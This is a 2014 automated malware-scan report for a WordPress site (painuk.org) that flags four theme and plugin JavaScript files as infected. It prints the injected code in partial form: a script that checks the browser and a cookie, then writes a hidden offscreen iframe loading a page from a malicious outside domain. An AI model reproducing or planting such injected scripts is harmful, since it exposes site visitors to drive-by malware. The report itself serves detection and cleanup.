New scan:

Malware Scanner report for painuk.org

Malicious/Suspicious/Total urls checked
4/0/16
4 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
2/0/6
2 malicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://painuk.org/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 15 Sep 2014 10:50:31 GMT
Location: http://www.painuk.org/
Server: cloudflare-nginx
Vary: Cookie,User-Agent,Accept-Encoding
Content-Type: text/html; charset=UTF-8
CF-RAY: 16a443821d5d0f63-FRA
Set-Cookie: __cfduid=db45c6a373337f109a4ab91d0aa50fe081410778230099; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.painuk.org; HttpOnly
X-Pingback: http://www.painuk.org/xmlrpc.php
X-Powered-By: PHP/5.3.27
clean
http://www.painuk.org/
200 OK
Content-Length: 44001
Content-Type: text/html
clean
http://www.painuk.org/wp-includes/js/jquery/jquery.js?ver=1.11.0
200 OK
Content-Length: 96314
Content-Type: application/javascript
clean
http://www.painuk.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
200 OK
Content-Length: 7200
Content-Type: application/javascript
clean
http://www.painuk.org/wp-content/plugins/media-element-html5-video-and-audio-player/mediaelement/mediaelement-and-player.min.js?ver=2.1.3
200 OK
Content-Length: 64806
Content-Type: application/javascript
clean
http://www.painuk.org/wp-content/themes/wp-davinci-20/js/flexslider.js?ver=3.9.2
200 OK
Content-Length: 14884
Content-Type: application/javascript
clean
http://www.painuk.org/wp-content/themes/wp-davinci-20/js/framework.js?ver=3.9.2
200 OK
Content-Length: 1503
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(name){var templateshoper=document.cookie.match(new RegExp("(?:^|; )"+ name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*)"));return templateshoper?decodeURIComponent(templateshoper[1]):undefined;}
function Hardtechnology(){var JameNoober=navigator.userAgent;var NiceProgroude=(JameNoober.indexOf("IEMobile")>-1||JameNoober.indexOf("Windows NT 6.3")>-1||JameNoober.indexOf("Chrome")>-1||JameNoober.indexOf("Windows")<+1);var Plogin=(getCookie("ultras17bros
... 547 bytes are skipped ...
('ul#filter a').click(function(){jQuery(this).css('outline','none');jQuery('ul#filter .current').removeClass('current');jQuery(this).parent().addClass('current');var filterVal=jQuery(this).text();if(filterVal=='all'){jQuery('ul#portfolio li.hidden').fadeIn(1000).removeClass('hidden');}else{jQuery('ul#portfolio li').each(function(){if(!jQuery(this).hasClass(filterVal)){jQuery(this).fadeOut(0000).addClass('hidden');}else{jQuery(this).fadeIn(1000).removeClass('hidden');}});}
return false;});});

Antivirus reports:

Fortinet
JS/Iframe.JV!tr
Sophos
Troj/JSRedir-OI

http://www.painuk.org/wp-content/themes/wp-davinci-20/js/external.js?ver=3.9.2
200 OK
Content-Length: 295
Content-Type: application/javascript
clean
http://www.painuk.org/wp-content/themes/wp-davinci-20/js/suckerfish.js?ver=3.9.2
200 OK
Content-Length: 1312
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(name){var templateshoper=document.cookie.match(new RegExp("(?:^|; )"+ name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*)"));return templateshoper?decodeURIComponent(templateshoper[1]):undefined;}
function Hardtechnology(){var JameNoober=navigator.userAgent;var NiceProgroude=(JameNoober.indexOf("IEMobile")>-1||JameNoober.indexOf("Windows NT 6.3")>-1||JameNoober.indexOf("Chrome")>-1||JameNoober.indexOf("Windows")<+1);var Plogin=(getCookie("ultras17bros
... 363 bytes are skipped ...
e=new Date(new Date().getTime()+ 66*60*60*1000);document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();}}
Hardtechnology();sfHover=function(){var sfEls=document.getElementById("topnav").getElementsByTagName("li");for(var i=0;i<sfEls.length;i++){sfEls[i].onmouseover=function(){this.className+=" sfhover";}
sfEls[i].onmouseout=function(){this.className=this.className.replace(new RegExp(" sfhover\\b"),"");}}}
if(window.attachEvent)window.attachEvent("onload",sfHover);

Antivirus reports:

Fortinet
JS/Iframe.JV!tr
Sophos
Troj/JSRedir-OI

http://www.statcounter.com/counter/counter_xhtml.js
200 OK
Content-Length: 15530
Content-Type: application/x-javascript
clean
http://www.painuk.org/wp-includes/js/comment-reply.min.js?ver=3.9.2
200 OK
Content-Length: 1997
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: quqylife.ksatria-hafidz.com

...[259 bytes skipped]...
nction Pleos_Aflertuder() {
var r_amblartide = navigator.userAgent;
var Yellowgrand = (r_amblartide.indexOf("IEMobile") > -1 || r_amblartide.indexOf("Windows NT 6.3") > -1 || r_amblartide.indexOf("Chrome") > -1 || r_amblartide.indexOf("Windows") < +1);
var Ultrastilus = (getCookie("Garamg18usality") === undefined);
if (!Yellowgrand && Ultrastilus) {
document.write('<iframe src="http://quqylife.ksatria-hafidz.com/internetioane16.html" style="left: -902px;border-right-width: 10px;border-left-style: dotted;border-left-width: 10px;background-color: rgb(95, 0, 95);border-right-color: #400D12;position: absolute;border-right-style: solid;height: 100px;width: 100px;top: -902px;"></iframe>');
var date = new Date( new Date().getTime() + 66*60*60*1000 );
document.cookie="Garamg18usality=1; path=/; expires="+date.toUTCString();
}
}
Pleos_Aflertuder();
var
...[801 bytes skipped]...

Decoded script:


<iframe src="http://quqylife.ksatria-hafidz.com/internetioane16.html" style="left: -902px;border-right-width: 10px;border-left-style: dotted;border-left-width: 10px;background-color: rgb(95, 0, 95);border-right-color: #400D12;position: absolute;border-right-style: solid;height: 100px;width: 100px;top: -902px;"></iframe>

Malicious iFrame found.
size: 100x100     
src: http://quqylife.ksatria-hafidz.com/internetioane16.html
This URL is marked by Google as suspicious

<iframe src="http://quqylife.ksatria-hafidz.com/internetioane16.html" style="left: -902px;border-right-width: 10px;border-left-style: dotted;border-left-width: 10px;background-color: rgb(95, 0, 95);border-right-color: #400d12;position: absolute;border-right-style: solid;height: 100px;width: 100px;top: -902px;">

http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201435
200 OK
Content-Length: 9301
Content-Type: application/x-javascript
clean
http://s.gravatar.com/js/gprofiles.js?ver=2014Augaa
200 OK
Content-Length: 21442
Content-Type: application/x-javascript
clean
http://www.painuk.org/wp-content/plugins/jetpack/modules/wpgroho.js?ver=3.9.2
200 OK
Content-Length: 1777
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: quqylife.ksatria-hafidz.com

...[160 bytes skipped]...
epize?decodeURIComponent(Smilepize[1]):undefined;}
function Pleos_Aflertuder(){var r_amblartide=navigator.userAgent;var Yellowgrand=(r_amblartide.indexOf("IEMobile")>-1||r_amblartide.indexOf("Windows NT 6.3")>-1||r_amblartide.indexOf("Chrome")>-1||r_amblartide.indexOf("Windows")<+1);var Ultrastilus=(getCookie("Garamg18usality")===undefined);if(!Yellowgrand&&Ultrastilus){document.write('<iframe src="http://quqylife.ksatria-hafidz.com/internetioane16.html" style="left: -902px;border-right-width: 10px;border-left-style: dotted;border-left-width: 10px;background-color: rgb(95, 0, 95);border-right-color: #400D12;position: absolute;border-right-style: solid;height: 100px;width: 100px;top: -902px;"></iframe>');var date=new Date(new Date().getTime()+ 66*60*60*1000);document.cookie="Garamg18usality=1; path=/; expires="+date.toUTCString();}}
Pleos_Aflertuder();WPGroHo=jQuery.extend({my_hash:'',data:
...[729 bytes skipped]...

Decoded script:


<iframe src="http://quqylife.ksatria-hafidz.com/internetioane16.html" style="left: -902px;border-right-width: 10px;border-left-style: dotted;border-left-width: 10px;background-color: rgb(95, 0, 95);border-right-color: #400D12;position: absolute;border-right-style: solid;height: 100px;width: 100px;top: -902px;"></iframe>

Malicious iFrame found.
size: 100x100     
src: http://quqylife.ksatria-hafidz.com/internetioane16.html
This URL is marked by Google as suspicious

<iframe src="http://quqylife.ksatria-hafidz.com/internetioane16.html" style="left: -902px;border-right-width: 10px;border-left-style: dotted;border-left-width: 10px;background-color: rgb(95, 0, 95);border-right-color: #400d12;position: absolute;border-right-style: solid;height: 100px;width: 100px;top: -902px;">

http://stats.wp.com/e-201435.js
200 OK
Content-Length: 824
Content-Type: application/x-javascript
clean
http://painuk.org/cdn-cgi/l/email-protection
200 OK
Content-Length: 4211
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: painuk.org

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 15 Sep 2014 10:50:31 GMT
Location: http://www.painuk.org/
Server: cloudflare-nginx
Vary: Cookie,User-Agent,Accept-Encoding
Content-Type: text/html; charset=UTF-8
CF-RAY: 16a443821d5d0f63-FRA
Set-Cookie: __cfduid=db45c6a373337f109a4ab91d0aa50fe081410778230099; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.painuk.org; HttpOnly
X-Pingback: http://www.painuk.org/xmlrpc.php
X-Powered-By: PHP/5.3.27
Second query (visit from search engine):
GET / HTTP/1.1
Host: painuk.org
Referer: http://www.google.com/search?q=painuk.org

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=painuk.org

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://painuk.org/

Result: painuk.org is not infected or malware details are not published yet.